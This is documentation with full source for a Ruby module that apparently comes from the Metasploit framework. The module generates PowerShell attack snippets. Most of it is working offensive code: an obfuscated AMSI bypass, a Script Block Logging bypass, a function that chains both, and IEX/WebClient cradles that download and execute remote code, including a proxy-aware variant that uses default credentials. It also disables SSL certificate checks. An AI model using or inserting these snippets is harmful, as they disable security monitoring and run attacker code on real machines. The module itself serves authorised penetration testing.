module Rex::Powershell::PshMethods

Convenience methods for generating Powershell code in Ruby

Public Class Methods

bypass_amsi() click to toggle source

Return mattifestation’s AMSI bypass

@return [String] PowerShell code to bypass AMSI

# File lib/rex/powershell/psh_methods.rb, line 91
    def self.bypass_amsi()
      script = Script.new(<<-PSH
        $Ref=[Ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.AmsiUtils')});
        $Ref.GetField(#{Obfu.scate_string_literal('amsiInitFailed')},'NonPublic,Static').SetValue($null,$true);
        PSH
      )
      script.sub_vars
      script
    end
bypass_powershell_protections() click to toggle source

Return all bypasses checking if PowerShell version > 3

@return [String] PowerShell code to disable PowerShell Built-In Protections

# File lib/rex/powershell/psh_methods.rb, line 134
def self.bypass_powershell_protections()
  uglify_ps(%Q{
    If($PSVersionTable.PSVersion.Major -ge 3){
      #{self.bypass_script_log}
      #{self.bypass_amsi}
    }
  })
end
bypass_script_log() click to toggle source

Return cobbr’s Script Block Logging bypass

@return [String] PowerShell code to bypass Script Block Logging

# File lib/rex/powershell/psh_methods.rb, line 105
    def self.bypass_script_log()
      script = Script.new(<<-PSH
        $GPF=[ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.Utils')}).GetField(#{Obfu.scate_string_literal('cachedGroupPolicySettings')},'NonPublic,Static');
        If ($GPF) {
            $SBL=#{Obfu.scate_string_literal('ScriptBlockLogging')};
            $EnableSBL=#{Obfu.scate_string_literal('EnableScriptBlockLogging')};
            $EnableSBIL=#{Obfu.scate_string_literal('EnableScriptBlockInvocationLogging')};
            $GPC=$GPF.GetValue($null);
            If($GPC[$SBL]){
                $GPC[$SBL][$EnableSBL]=0;
                $GPC[$SBL][$EnableSBIL]=0;
            }
            $val=[Collections.Generic.Dictionary[string,System.Object]]::new();
            $val.Add($EnableSBL,0);
            $val.Add($EnableSBIL,0);
            $GPC['HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\'+$SBL]=$val;
        } Else {
            [ScriptBlock].GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
        }
        PSH
      )
      script.sub_vars
      script
    end
download(src, target) click to toggle source

Download file via .NET WebClient

@param src [String] URL to the file @param target [String] Location to save the file

@return [String] Powershell code to download a file

# File lib/rex/powershell/psh_methods.rb, line 16
def self.download(src, target)
  target ||= '$pwd\\' << src.split('/').last
  %Q^(new-object System.Net.WebClient).DownloadFile('#{src}', '#{target}')^
end
download_and_exec_string(urls, iex = true) click to toggle source

Download and execute string via HTTP

@param urls [String | [String]] string(s) to download @param iex [Boolean] utilize invoke-expression to execute code

@return [String] PowerShell code to download and exec the url

# File lib/rex/powershell/psh_methods.rb, line 150
def self.download_and_exec_string(urls, iex = true)
  unless urls.is_a?(Array)
    urls = [urls]
  end

  res = ''
  for url in urls
    if iex
      res << %Q^IEX ((new-object Net.WebClient).DownloadString('#{url}'));^
    else
      res << %Q^&([scriptblock]::create((new-object Net.WebClient).DownloadString('#{url}')));^
    end
  end
  res
end
download_run(src, target) click to toggle source

Download file via .NET WebClient and execute it afterwards

@param src [String] URL to the file @param target [String] Location to save the file

@return [String] Powershell code to download a file

# File lib/rex/powershell/psh_methods.rb, line 28
def self.download_run(src, target)
  target ||= '$pwd\\' << src.split('/').last
  %Q^$z="#{target}"; (new-object System.Net.WebClient).DownloadFile('#{src}', $z); invoke-item $z^
end
force_tls12() click to toggle source

Force use of TLS1.2

@ return [String] Powershell code to force use of TLS1.2

# File lib/rex/powershell/psh_methods.rb, line 170
def self.force_tls12()
  %Q^[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;^
end
get_last_login(user) click to toggle source

Return last time of login

@param user [String] Username

@return [String] Powershell code to return the last time of a user

login
# File lib/rex/powershell/psh_methods.rb, line 74
def self.get_last_login(user)
  %Q^ Get-QADComputer -ComputerRole DomainController | foreach { (Get-QADUser -Service $_.Name -SamAccountName "#{user}").LastLogon} | Measure-Latest^
end
ignore_ssl_certificate() click to toggle source

Disable SSL Certificate verification

@return [String] Powershell code to disable SSL verification

checks.
# File lib/rex/powershell/psh_methods.rb, line 83
def self.ignore_ssl_certificate
  '[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'
end
proxy_aware() click to toggle source

Use the default system web proxy and credentials

@return [String] Powershell code to use the default system web proxy and credentials

# File lib/rex/powershell/psh_methods.rb, line 177
def self.proxy_aware
  var = Rex::Text.rand_text_alpha(1)
  cmd = "$#{var}=new-object net.webclient;"
  cmd << "if([System.Net.WebProxy]::GetDefaultProxy().address -ne $null){"
  cmd << "$#{var}.proxy=[Net.WebRequest]::GetSystemWebProxy();"
  cmd << "$#{var}.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;"
  cmd << "};"
  cmd
end
proxy_aware_download_and_exec_string(urls, iex = true) click to toggle source

Use the default system web proxy and credentials to download a URL as a string and execute the contents as PowerShell

@param urls [String | [String]] string(s) to download @param iex [Boolean] utilize invoke-expression to execute code

@return [String] PowerShell code to download a URL

# File lib/rex/powershell/psh_methods.rb, line 195
def self.proxy_aware_download_and_exec_string(urls, iex = true)
  "#{self.proxy_aware}#{download_and_exec_string(urls, iex)}"
end
secure_string(str) click to toggle source

Create secure string from plaintext

@param str [String] String to create as a SecureString

@return [String] Powershell code to create a SecureString

# File lib/rex/powershell/psh_methods.rb, line 52
def self.secure_string(str)
  %Q(ConvertTo-SecureString -string '#{str}' -AsPlainText -Force$)
end
uglify_ps(script) click to toggle source
# File lib/rex/powershell/psh_methods.rb, line 199
def self.uglify_ps(script)
  return script.gsub(/\ +/, " ").gsub(/\n+/, '')
end
uninstall(app, fuzzy = true) click to toggle source

Uninstall app, or anything named like app

@param app [String] Name of application @param fuzzy [Boolean] Whether to apply a fuzzy match (-like) to

the application name

@return [String] Powershell code to uninstall an application

# File lib/rex/powershell/psh_methods.rb, line 41
def self.uninstall(app, fuzzy = true)
  match = fuzzy ? '-like' : '-eq'
  %Q^$app = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name #{match} "#{app}" }; $app.Uninstall()^
end
who_locked_file(filename) click to toggle source

Find PID of file lock owner

@param filename [String] Filename

@return [String] Powershell code to identify the PID of a file

lock owner
# File lib/rex/powershell/psh_methods.rb, line 63
def self.who_locked_file(filename)
  %Q^ Get-Process | foreach{$processVar = $_;$_.Modules | foreach{if($_.FileName -eq "#{filename}"){$processVar.Name + " PID:" + $processVar.id}}}^
end